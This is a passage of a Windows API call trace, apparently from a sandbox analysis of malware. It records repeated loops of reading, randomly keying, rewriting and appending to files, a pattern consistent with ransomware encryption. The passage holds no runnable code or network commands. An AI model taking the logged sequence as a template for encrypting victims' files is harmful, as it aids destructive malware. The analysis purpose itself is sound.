returned 1 [0084.854] GetProcessHeap () returned 0x540000 [0084.854] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.854] GetProcessHeap () returned 0x540000 [0084.854] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.854] GetProcessHeap () returned 0x540000 [0084.854] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.854] GetProcessHeap () returned 0x540000 [0084.854] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.854] GetProcessHeap () returned 0x540000 [0084.854] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.854] GetProcessHeap () returned 0x540000 [0084.854] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.854] GetProcessHeap () returned 0x540000 [0084.854] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.854] GetProcessHeap () returned 0x540000 [0084.854] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.854] GetProcessHeap () returned 0x540000 [0084.854] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.854] GetProcessHeap () returned 0x540000 [0084.854] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.854] GetProcessHeap () returned 0x540000 [0084.854] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.854] GetProcessHeap () returned 0x540000 [0084.854] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.854] GetProcessHeap () returned 0x540000 [0084.854] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.854] GetProcessHeap () returned 0x540000 [0084.854] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.854] GetProcessHeap () returned 0x540000 [0084.854] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.855] GetProcessHeap () returned 0x540000 [0084.855] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.855] GetProcessHeap () returned 0x540000 [0084.855] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.855] GetProcessHeap () returned 0x540000 [0084.855] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.855] GetProcessHeap () returned 0x540000 [0084.855] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.855] GetProcessHeap () returned 0x540000 [0084.855] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.855] GetProcessHeap () returned 0x540000 [0084.855] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.855] GetProcessHeap () returned 0x540000 [0084.855] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.855] GetProcessHeap () returned 0x540000 [0084.855] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0084.855] GetProcessHeap () returned 0x540000 [0084.855] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.855] GetProcessHeap () returned 0x540000 [0084.855] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0084.855] GetProcessHeap () returned 0x540000 [0084.855] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0084.855] GetProcessHeap () returned 0x540000 [0084.855] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.855] GetProcessHeap () returned 0x540000 [0084.855] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0084.855] SetFilePointerEx (in: hFile=0x89c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.855] WriteFile (in: hFile=0x89c, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0084.856] WriteFile (in: hFile=0x89c, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0084.856] GetProcessHeap () returned 0x540000 [0084.856] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0084.856] GetProcessHeap () returned 0x540000 [0084.856] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0084.856] GetProcessHeap () returned 0x540000 [0084.856] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0084.856] CloseHandle (hObject=0x89c) returned 1 [0084.859] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 73 [0084.859] SetFilePointerEx (in: hFile=0x8a0, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.859] ReadFile (in: hFile=0x8a0, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0084.859] SetFilePointerEx (in: hFile=0x8a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.859] GetProcessHeap () returned 0x540000 [0084.859] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0084.859] GetProcessHeap () returned 0x540000 [0084.860] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0084.860] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0084.860] GetProcessHeap () returned 0x540000 [0084.860] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0084.860] ReadFile (in: hFile=0x8a0, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0084.908] SetFilePointerEx (in: hFile=0x8a0, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.908] WriteFile (in: hFile=0x8a0, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0084.908] GetProcessHeap () returned 0x540000 [0084.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0084.909] GetProcessHeap () returned 0x540000 [0084.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.909] GetProcessHeap () returned 0x540000 [0084.909] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0084.909] GetProcessHeap () returned 0x540000 [0084.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.909] GetProcessHeap () returned 0x540000 [0084.909] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0084.909] GetProcessHeap () returned 0x540000 [0084.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.909] GetProcessHeap () returned 0x540000 [0084.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.909] GetProcessHeap () returned 0x540000 [0084.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.909] GetProcessHeap () returned 0x540000 [0084.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.909] GetProcessHeap () returned 0x540000 [0084.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.909] GetProcessHeap () returned 0x540000 [0084.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.909] GetProcessHeap () returned 0x540000 [0084.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.909] GetProcessHeap () returned 0x540000 [0084.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.909] GetProcessHeap () returned 0x540000 [0084.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.909] GetProcessHeap () returned 0x540000 [0084.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.909] GetProcessHeap () returned 0x540000 [0084.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.909] GetProcessHeap () returned 0x540000 [0084.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.909] GetProcessHeap () returned 0x540000 [0084.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.909] GetProcessHeap () returned 0x540000 [0084.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.909] GetProcessHeap () returned 0x540000 [0084.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.909] GetProcessHeap () returned 0x540000 [0084.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.910] GetProcessHeap () returned 0x540000 [0084.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.910] GetProcessHeap () returned 0x540000 [0084.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.910] GetProcessHeap () returned 0x540000 [0084.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.910] GetProcessHeap () returned 0x540000 [0084.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.910] GetProcessHeap () returned 0x540000 [0084.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.910] GetProcessHeap () returned 0x540000 [0084.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.910] GetProcessHeap () returned 0x540000 [0084.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.910] GetProcessHeap () returned 0x540000 [0084.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.910] GetProcessHeap () returned 0x540000 [0084.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.910] GetProcessHeap () returned 0x540000 [0084.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.910] GetProcessHeap () returned 0x540000 [0084.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.910] GetProcessHeap () returned 0x540000 [0084.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.910] GetProcessHeap () returned 0x540000 [0084.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.910] GetProcessHeap () returned 0x540000 [0084.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.910] GetProcessHeap () returned 0x540000 [0084.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.910] GetProcessHeap () returned 0x540000 [0084.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.910] GetProcessHeap () returned 0x540000 [0084.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.910] GetProcessHeap () returned 0x540000 [0084.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0084.910] GetProcessHeap () returned 0x540000 [0084.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.910] GetProcessHeap () returned 0x540000 [0084.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0084.911] GetProcessHeap () returned 0x540000 [0084.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0084.911] GetProcessHeap () returned 0x540000 [0084.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0084.911] GetProcessHeap () returned 0x540000 [0084.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0084.911] GetProcessHeap () returned 0x540000 [0084.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0084.911] GetProcessHeap () returned 0x540000 [0084.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0084.911] GetProcessHeap () returned 0x540000 [0084.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.911] GetProcessHeap () returned 0x540000 [0084.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0084.911] GetProcessHeap () returned 0x540000 [0084.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.911] GetProcessHeap () returned 0x540000 [0084.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.911] GetProcessHeap () returned 0x540000 [0084.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.911] GetProcessHeap () returned 0x540000 [0084.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.911] GetProcessHeap () returned 0x540000 [0084.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.911] GetProcessHeap () returned 0x540000 [0084.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.911] GetProcessHeap () returned 0x540000 [0084.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.911] GetProcessHeap () returned 0x540000 [0084.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.911] GetProcessHeap () returned 0x540000 [0084.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.912] GetProcessHeap () returned 0x540000 [0084.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.912] GetProcessHeap () returned 0x540000 [0084.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.912] GetProcessHeap () returned 0x540000 [0084.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.912] GetProcessHeap () returned 0x540000 [0084.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.912] GetProcessHeap () returned 0x540000 [0084.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.912] GetProcessHeap () returned 0x540000 [0084.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.912] GetProcessHeap () returned 0x540000 [0084.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.912] GetProcessHeap () returned 0x540000 [0084.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.912] GetProcessHeap () returned 0x540000 [0084.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.912] GetProcessHeap () returned 0x540000 [0084.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.912] GetProcessHeap () returned 0x540000 [0084.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.912] GetProcessHeap () returned 0x540000 [0084.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.912] GetProcessHeap () returned 0x540000 [0084.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.912] GetProcessHeap () returned 0x540000 [0084.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.913] GetProcessHeap () returned 0x540000 [0084.913] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.913] GetProcessHeap () returned 0x540000 [0084.913] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0084.913] GetProcessHeap () returned 0x540000 [0084.913] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.913] GetProcessHeap () returned 0x540000 [0084.913] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0084.913] GetProcessHeap () returned 0x540000 [0084.913] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0084.913] GetProcessHeap () returned 0x540000 [0084.913] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.913] GetProcessHeap () returned 0x540000 [0084.913] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0084.913] SetFilePointerEx (in: hFile=0x8a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.913] WriteFile (in: hFile=0x8a0, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0084.913] WriteFile (in: hFile=0x8a0, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0084.913] GetProcessHeap () returned 0x540000 [0084.913] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0084.913] GetProcessHeap () returned 0x540000 [0084.913] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0084.913] GetProcessHeap () returned 0x540000 [0084.913] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0084.913] CloseHandle (hObject=0x8a0) returned 1 [0084.915] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 74 [0084.915] SetFilePointerEx (in: hFile=0x8a4, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.916] ReadFile (in: hFile=0x8a4, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0084.916] SetFilePointerEx (in: hFile=0x8a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.916] GetProcessHeap () returned 0x540000 [0084.916] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0084.916] GetProcessHeap () returned 0x540000 [0084.916] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0084.916] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0084.916] GetProcessHeap () returned 0x540000 [0084.916] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0084.916] ReadFile (in: hFile=0x8a4, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0084.965] SetFilePointerEx (in: hFile=0x8a4, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.965] WriteFile (in: hFile=0x8a4, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0084.965] GetProcessHeap () returned 0x540000 [0084.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0084.965] GetProcessHeap () returned 0x540000 [0084.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.965] GetProcessHeap () returned 0x540000 [0084.965] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0084.965] GetProcessHeap () returned 0x540000 [0084.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.966] GetProcessHeap () returned 0x540000 [0084.966] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0084.966] GetProcessHeap () returned 0x540000 [0084.966] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.966] GetProcessHeap () returned 0x540000 [0084.966] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.966] GetProcessHeap () returned 0x540000 [0084.966] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.966] GetProcessHeap () returned 0x540000 [0084.966] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.966] GetProcessHeap () returned 0x540000 [0084.966] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.966] GetProcessHeap () returned 0x540000 [0084.966] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.966] GetProcessHeap () returned 0x540000 [0084.966] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.966] GetProcessHeap () returned 0x540000 [0084.966] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.966] GetProcessHeap () returned 0x540000 [0084.966] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.966] GetProcessHeap () returned 0x540000 [0084.966] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.966] GetProcessHeap () returned 0x540000 [0084.966] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.966] GetProcessHeap () returned 0x540000 [0084.966] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.966] GetProcessHeap () returned 0x540000 [0084.966] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.966] GetProcessHeap () returned 0x540000 [0084.966] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.966] GetProcessHeap () returned 0x540000 [0084.966] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.966] GetProcessHeap () returned 0x540000 [0084.966] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.966] GetProcessHeap () returned 0x540000 [0084.966] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.966] GetProcessHeap () returned 0x540000 [0084.966] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.966] GetProcessHeap () returned 0x540000 [0084.967] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.967] GetProcessHeap () returned 0x540000 [0084.967] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.967] GetProcessHeap () returned 0x540000 [0084.967] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.967] GetProcessHeap () returned 0x540000 [0084.967] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.967] GetProcessHeap () returned 0x540000 [0084.967] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.967] GetProcessHeap () returned 0x540000 [0084.967] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.967] GetProcessHeap () returned 0x540000 [0084.967] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.967] GetProcessHeap () returned 0x540000 [0084.967] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.967] GetProcessHeap () returned 0x540000 [0084.967] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.967] GetProcessHeap () returned 0x540000 [0084.967] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.967] GetProcessHeap () returned 0x540000 [0084.967] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: 